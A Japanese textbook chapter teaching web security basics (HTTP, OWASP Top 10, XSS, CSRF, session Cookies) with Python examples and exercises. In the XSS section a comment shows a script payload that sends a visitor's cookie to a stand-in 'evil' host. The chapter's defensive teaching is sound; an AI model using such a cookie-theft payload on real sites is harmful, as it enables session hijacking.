🎯 この章で学ぶこと

  • HTTPリクエスト/レスポンスの基本構造
  • OWASP Top 10 の全体像
  • XSS(クロスサイトスクリプティング)
  • CSRF(クロスサイトリクエストフォージェリ)
  • セッションとCookieの安全な扱い

11.1 HTTPの基本 — Webはリクエストとレスポンスの往復

ブラウザ(クライアント)とサーバーは、HTTPというルールで会話します。ブラウザがリクエストを送り、サーバーがレスポンスを返す、この繰り返しです。

# リクエストの例(ブラウザ → サーバー)
GET /mypage HTTP/1.1
Host: example.com
Cookie: session=abc123
User-Agent: Mozilla/5.0 ...

# レスポンスの例(サーバー → ブラウザ)
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=abc123; HttpOnly; Secure

<html>...</html>

覚えておきたい要素です。

Pythonから確認してみましょう(第7章の requests)。

import requests

resp = requests.get("https://httpbin.org/get", timeout=10)
print(resp.status_code)                 # 200
print(resp.headers["Content-Type"])     # application/json
print(resp.request.headers["User-Agent"])
⚠️ HTTPは平文、HTTPSは暗号化

http:// の通信は暗号化されず、経路上で盗聴・改ざんが可能です。https:// はTLS(第12章)で暗号化されます。ログインや個人情報を扱うページが https:// でないのは、それ自体が重大な脆弱性です。

11.2 OWASP Top 10 — Web脆弱性の世界標準リスト

OWASP(オワスプ)は、Webセキュリティのオープンなコミュニティです。数年ごとに公開する「OWASP Top 10」は、最も重大なWebアプリのリスクをまとめた事実上の業界標準です。代表的な項目を紹介します。

カテゴリ内容本書の関連章
アクセス制御の不備認可の欠陥。他人のデータが見える・操作できる第9章(認可)
暗号化の失敗機密データの平文保存・弱い暗号第12章
インジェクションSQLi・コマンドインジェクション・XSS第10章・本章
安全でない設計設計段階での対策不足第9章
セキュリティ設定ミス初期パスワード放置、不要機能の有効化、詳細エラー表示第6章・第10章
脆弱・古いコンポーネント既知の脆弱性が残るライブラリの使用第7章
認証の不備弱いパスワード運用、セッション管理の欠陥本章・第12章

ここまで学んできた内容の多くが、そのままOWASP Top 10への対策になっていることに注目してください。

11.3 XSS — クロスサイトスクリプティング

ユーザーの入力をそのままHTMLに埋め込んで表示すると、入力に紛れ込んだ <script> がブラウザ上で実行されてしまう脆弱性です。攻撃者は他人のCookie(セッション)を盗んだり、偽の画面を表示したりできます。

# ❌ 脆弱な擬似コード:検索キーワードをそのまま埋め込む
def render_bad(keyword):
    return f"<p>「{keyword}」の検索結果</p>"

# keyword に <script>location='http://evil/?c='+document.cookie</script>
# を入れられると、閲覧者のブラウザでそのスクリプトが動く

対策 — 出力時のエスケープ(サニタイズ)

HTMLとして意味を持つ文字(< > & " ')を、無害な文字実体参照に変換します。これをエスケープと呼びます。

import html

def render_good(keyword):
    safe = html.escape(keyword)     # < を &lt; などに変換
    return f"<p>「{safe}」の検索結果</p>"

print(render_good("<script>alert(1)</script>"))
# → <p>「&lt;script&gt;alert(1)&lt;/script&gt;」の検索結果</p>
#   スクリプトとしてではなく、ただの文字として表示される
✅ 「入力時に検証、出力時にエスケープ」

XSS対策の要点は出力(表示)の瞬間に、その文脈に合わせてエスケープすることです。実務ではDjangoやFlask(Jinja2)などのテンプレートエンジンが自動でHTMLエスケープしてくれます。自動エスケープを無効化しないことが最大の防御です。さらに Content-Security-Policy ヘッダで多層防御を加えます。

11.4 セッションとCookie

HTTPは本来「一度きりの会話」で、前回のリクエストを覚えていません(ステートレス)。そこでセッションという仕組みでログイン状態を保ちます。

  1. ログイン成功時、サーバーが推測困難なセッションIDを発行
  2. ブラウザはそれをCookieに保存し、以降のリクエストに自動で添付
  3. サーバーはセッションIDを見て「この人はログイン済みのAさんだ」と判断

つまりセッションIDは、その人になりすませる合鍵です。盗まれれば、パスワードを知らなくてもログイン状態を乗っ取られます(セッションハイジャック)。Cookieには安全のための属性を必ず付けます。

Cookie属性効果
HttpOnlyJavaScriptからCookieを読めなくする(XSSでのセッション窃取を緩和)
SecureHTTPS通信でのみCookieを送る(平文での漏えいを防ぐ)
SameSite他サイトからのリクエストにCookieを付けない(CSRF対策)
💡 セッションIDは「推測できない」ことが命

連番や時刻ベースのIDは推測されます。セッションIDは暗号学的に安全な乱数で生成しなければなりません。第12章で学ぶ secrets モジュールがまさにこの用途です。フレームワークを使えば自動で安全に生成されます。

11.5 CSRF — クロスサイトリクエストフォージェリ

ログイン済みのユーザーを騙して、本人が意図しないリクエストを送らせる攻撃です。「罠サイトを踏んだだけで、ログイン中の別サイトで送金・設定変更されてしまう」という被害が起こります。

成立の理由は「ブラウザがCookieを自動で付けてしまう」性質にあります。攻撃者はあなたのCookieの中身を知らなくても、あなたのブラウザに正規サイト宛のリクエストを送らせられるのです。

対策

DjangoやFlaskにはCSRF対策機能が標準で用意されています。自作せず、フレームワークの機能を有効にして使うのが正解です。

🛡️ セキュリティの視点 — XSSとCSRFの違いを一言で

XSSは「サイトにコードを注入して、閲覧者のブラウザで実行させる」攻撃。CSRFは「閲覧者のブラウザを踏み台に、正規サイトへ意図しない操作を送らせる」攻撃。似た名前でよく混同されますが、XSSはコードの実行、CSRFはリクエストの偽造、と押さえれば区別できます。なお、XSSが成立するとCSRF対策も回避され得るため、まずXSSを塞ぐことが土台になります。

11.6 IT部門としてWebを守る勘所

まとめ

練習問題

問題 11-1

次のステータスコードはそれぞれ何を意味しますか。①401 ②403 ③500。また、①と②の違いを第9章の用語で説明してください。

解答を見る

401 Unauthorized=未認証(誰か確認できていない)。② 403 Forbidden=認証済みだが権限がない。③ 500 Internal Server Error=サーバー内部のエラー。
①と②の違いは認証と認可の違いです。401は「あなたが誰かわからない(認証の問題)」、403は「あなたが誰かはわかったが、その操作は許可されていない(認可の問題)」。

問題 11-2

html.escape() を使って、ユーザー名を安全にHTMLへ埋め込む関数 safe_greeting(name) を書いてください。<b>admin</b> を渡してもタグとして解釈されないことを確認してください。

解答を見る
import html

def safe_greeting(name):
    safe = html.escape(name)
    return f"<p>ようこそ、{safe} さん</p>"

print(safe_greeting("<b>admin</b>"))
# <p>ようこそ、&lt;b&gt;admin&lt;/b&gt; さん</p>

<b>&lt;b&gt; に変換され、太字にならずそのまま文字として表示されます。

問題 11-3

「ログイン機能を自作したところ、セッションIDに user_id + 現在時刻 を使っていた」。この設計の問題点と、正しい方針を述べてください。

解答を見る

問題点:セッションIDが推測可能です。user_idは列挙でき、時刻も範囲を絞れるため、攻撃者が他人のセッションIDを総当たりで生成し、なりすませてしまいます(セッションハイジャック)。
正しい方針:セッションIDは secrets.token_urlsafe() のような暗号学的に安全な乱数で生成する(第12章)。そもそもセッション管理は自作せず、実績あるフレームワークの機能に任せるのが最善です。加えてCookieに HttpOnly/Secure/SameSite を付けます。